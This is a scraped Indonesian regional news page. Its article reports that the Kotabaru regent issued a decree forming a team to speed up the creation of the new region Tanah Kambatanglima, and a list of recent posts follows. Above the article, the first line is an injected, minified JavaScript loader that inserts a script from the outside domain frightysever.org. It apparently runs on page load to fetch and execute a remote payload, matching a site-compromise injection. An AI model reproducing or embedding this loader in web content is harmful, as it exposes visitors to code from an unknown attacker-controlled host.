(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Akhirnya Tim Percepatan DOB Mendapatkan SK Bupati Kotabaru


KANALKALIMANTAN.COM, KOTABARU – Sebagaimana Surat Keputusan Bupati Kotabaru nomor 188.45/319/KUM/2021 yang di tandatangani H Sayed Jafar Alydrus per 17 September 2021 kemarin atau 5 hari setelah Presedium Tanah Kambatanglima menggelar rapat di Desa Cantung Kecamatan Kelumpang Hulu, Kotabaru.

Kegiatan itu dalam rangka membentuk panitia percepatan pemekaran Daerah Otonom Baru (DOB) Tanah Kambatanglima dan khirnya, menerima SK yang dikeluarkan langsung oleh Bupati Kabupaten Kotabaru, Kamis (30/9/21).

Kepada kanalkalimantan.com, Rabbiansyah atau yang akrab disapa Roby merupakan anggota DPRD Kotabaru menjelaskan, untuk tugas tim yang keanggotaannya terdiri dari unsur pemerintah daerah, anggota DPRD Kotabaru dan juga Presedium Tanah Kambatanglima, adalah untuk segera melengkapi syarat-syarat pembentukan DOB sesuai amanah Undang-Undang.

“Dari 109 desa dari 12 kecamatan, masih ada beberapa desa lewat BPD belum memberikan rekomendasi persetujuan pemekaran, hal ini tentu saja menjadi salah satu faktor penghambat dalam menyajikan data nantinya,” tutur dia.

 

Baca juga : Roby Fasilitasi Warga Kotabaru Dapatkan Pendidikan Kuliah

Selain itu, ada beberapa list tambahan yang juga harus dilengkapi seperti halnya persetujuan kepala desa dan camat, bahkan rekomendasi kepala daeraj yang ada di sekitar Kabupaten Kotabaru.

“Tugas kami untuk memfasilitasi kelengkapan syarat administrasi dan teknis pemekaran daerah, termasuk nantinya memfasilitasi kajian akademis untuk calon kabupaten baru Tanah Kambatanglima.

Tim yang terbentuk memiliki pelindung dan penasihat mulai dari bupati dan wakil bupati, ketua DPRD, sekda serta dari kalangan akademisi dan tokoh Kabupaten Kotabaru Prof H Udiansyah,” jelas dia.

Dia berharap tim dapat terus menunjukkan semangatnya untuk berjuang melengkapi syarat-syarat yang diperlukan. Sehingga perjuangan yang dilakukan bukan sekadar isapan jempol.

“Saat ini DPRD dan bupati Kotabaru sudah memberikan dukungan untuk Tanah Kambatanglima,” tandas dia. (kanalkalimantan.com/muhammad)

Reporter : Muhammad
Editor : Dhani


Desy Arfianty

Recent Posts

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

55 menit ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

12 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

14 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

14 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

15 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

16 jam ago

This website uses cookies.